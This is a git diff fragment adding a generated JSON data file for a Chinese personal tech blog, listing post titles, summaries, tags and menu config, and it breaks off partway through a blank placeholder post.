Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-7.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-7.json new file mode 100644 index 000000000..fdca9ab30 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-7.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"d43cadd5-38cc-48ce-a44d-188a8215cd7d":{"value":{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","version":7,"type":"page","content":["b2c580c4-ce96-432d-b118-a0ad20cbe1c5","deba1e59-6d47-4ada-a314-44559c4f6b0c","441bdeda-2261-415c-9b90-02c122c121e4","bf92f406-3a16-4412-9369-f5edb6003e29","1ddbb042-788f-4005-befc-3c30e63918e6","6fc73c2f-ca27-46c4-9e76-e8f767132e2b","d5803e5d-12ec-4b18-833b-e6822d98fa35","63c97746-0bd9-4d2f-8156-801620c97f5c","78957a63-8c78-4cad-8e88-ea846ae3923e","5410740b-7970-4e09-93dd-615a87d752b1","5cec45b0-794e-4344-812b-b0c8e4740cc9","ad8c852b-45ac-4cfd-a0f8-04e364cc9311","8999dbca-3606-4af4-8f6f-5581cd3e6113","6d026f65-ee53-4d6a-b31b-e7a374565243"],"format":{"page_font":"mono","page_icon":"🗒️","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"683ddb23-90b4-4744-b09c-ddc4dd04ef79","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be